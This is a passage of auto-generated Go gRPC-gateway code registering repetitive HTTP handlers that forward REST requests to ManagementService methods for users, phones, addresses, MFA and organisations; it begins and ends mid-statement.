req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateUserProfile_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserProfile_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserEmail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetUserEmail_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserEmail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_ChangeUserUserName_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ChangeUserUserName_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeUserUserName_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeUserEmail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ChangeUserEmail_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeUserEmail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ResendEmailVerificationMail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ResendEmailVerificationMail_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ResendEmailVerificationMail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetUserPhone_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserPhone_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeUserPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ChangeUserPhone_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeUserPhone_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveUserPhone_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveUserPhone_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveUserPhone_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ResendPhoneVerificationCode_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ResendPhoneVerificationCode_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ResendPhoneVerificationCode_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserAddress_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetUserAddress_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserAddress_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserAddress_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateUserAddress_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserAddress_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserMachine_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateUserMachine_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserMachine_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUserExternalIDPs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchUserExternalIDPs_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUserExternalIDPs_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveExternalIDP_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveExternalIDP_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveExternalIDP_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetUserMfas_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetUserMfas_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetUserMfas_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SendSetPasswordNotification_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SendSetPasswordNotification_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SendSetPasswordNotification_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SetInitialPassword_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SetInitialPassword_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SetInitialPassword_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_ResendInitialMail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ResendInitialMail_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ResendInitialMail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUserMemberships_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchUserMemberships_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUserMemberships_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_OrgChanges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_OrgChanges_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_OrgChanges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetMyOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetMyOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetMyOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetOrgByDomainGlobal_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetOrgByDomainGlobal_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetOrgByDomainGlobal_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateMyOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeactivateMyOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateMyOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateMyOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ReactivateMyOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = 